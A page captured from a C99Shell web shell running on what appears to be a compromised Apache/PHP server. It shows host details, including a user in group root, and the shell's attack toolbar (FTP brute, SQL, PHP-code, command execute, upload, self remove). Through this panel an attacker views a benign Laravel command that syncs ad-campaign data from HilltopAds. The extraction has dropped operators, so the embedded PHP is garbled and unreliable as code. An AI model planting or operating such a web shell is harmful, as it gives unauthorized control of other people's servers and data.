!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Console/Commands/   drwxr-xr-x
Free 25.36 GB of 117.98 GB (21.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SyncHilltopData.php (3.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Console\Commands;

use 
Illuminate\Console\Command;
use 
App\Services\HilltopAdsService;
use 
App\Models\Campaign;

class 
SyncHilltopData extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'hilltop:sync-data 
                            {--campaign= : Sync specific campaign ID (optional)}
                            {--date-range=7d : Date range to sync (24h, 7d, 30d, 90d)}
                            {--mock : Generate mock data instead of calling API}
                            {--force : Force sync even if recently synced}'
;

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Fetch and sync campaign performance data from HilltopAds';

    protected 
$hilltopService;

    public function 
__construct(HilltopAdsService $hilltopService)
    {
        
parent::__construct();
        
$this->hilltopService $hilltopService;
    }

    
/**
     * Execute the console command.
     */
    
public function handle()
    {
        
$campaignId $this->option('campaign');
        
$dateRange $this->option('date-range');
        
$useMock $this->option('mock');
        
$force $this->option('force');

        
$this->info('Starting HilltopAds data sync...');
        
$this->info("Date Range: {$dateRange}");
        
        if (
$useMock) {
            
$this->warn('Using MOCK data generation mode');
        }

        if (
$campaignId) {
            
// Sync specific campaign
            
$this->syncCampaign($campaignId$dateRange$useMock);
        } else {
            
// Sync all campaigns
            
$this->syncAllCampaigns($dateRange$useMock);
        }

        
$this->info('Sync completed successfully!');
        return 
Command::SUCCESS;
    }

    
/**
     * Sync a specific campaign
     */
    
protected function syncCampaign($campaignId$dateRange$useMock)
    {
        
$campaign Campaign::find($campaignId);

        if (!
$campaign) {
            
$this->error("Campaign ID {$campaignId} not found!");
            return 
Command::FAILURE;
        }

        
$this->info("Syncing campaign: {$campaign->name} (ID: {$campaign->id})");

        if (
$useMock) {
            
$this->hilltopService->generateMockData($campaign->id$dateRange);
            
$this->info("✓ Mock data generated for campaign: {$campaign->name}");
        } else {
            
$success $this->hilltopService->syncCampaignData($campaign->id$dateRange);
            
            if (
$success) {
                
$this->info("✓ Synced campaign: {$campaign->name}");
            } else {
                
$this->error("✗ Failed to sync campaign: {$campaign->name}");
            }
        }
    }

    
/**
     * Sync all campaigns
     */
    
protected function syncAllCampaigns($dateRange$useMock)
    {
        
$campaigns Campaign::all();

        if (
$campaigns->isEmpty()) {
            
$this->warn('No campaigns found to sync.');
            return;
        }

        
$this->info("Found {$campaigns->count()} campaigns to sync");

        
$bar $this->output->createProgressBar($campaigns->count());
        
$bar->start();

        
$successCount 0;
        
$failCount 0;

        foreach (
$campaigns as $campaign) {
            if (
$useMock) {
                
$this->hilltopService->generateMockData($campaign->id$dateRange);
                
$successCount++;
            } else {
                
$success $this->hilltopService->syncCampaignData($campaign->id$dateRange);
                
                if (
$success) {
                    
$successCount++;
                } else {
                    
$failCount++;
                }
            }
            
            
$bar->advance();
        }

        
$bar->finish();
        
$this->newLine(2);

        
$this->info("Sync Summary:");
        
$this->info("✓ Successful: {$successCount}");
        
        if (
$failCount 0) {
            
$this->error("✗ Failed: {$failCount}");
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--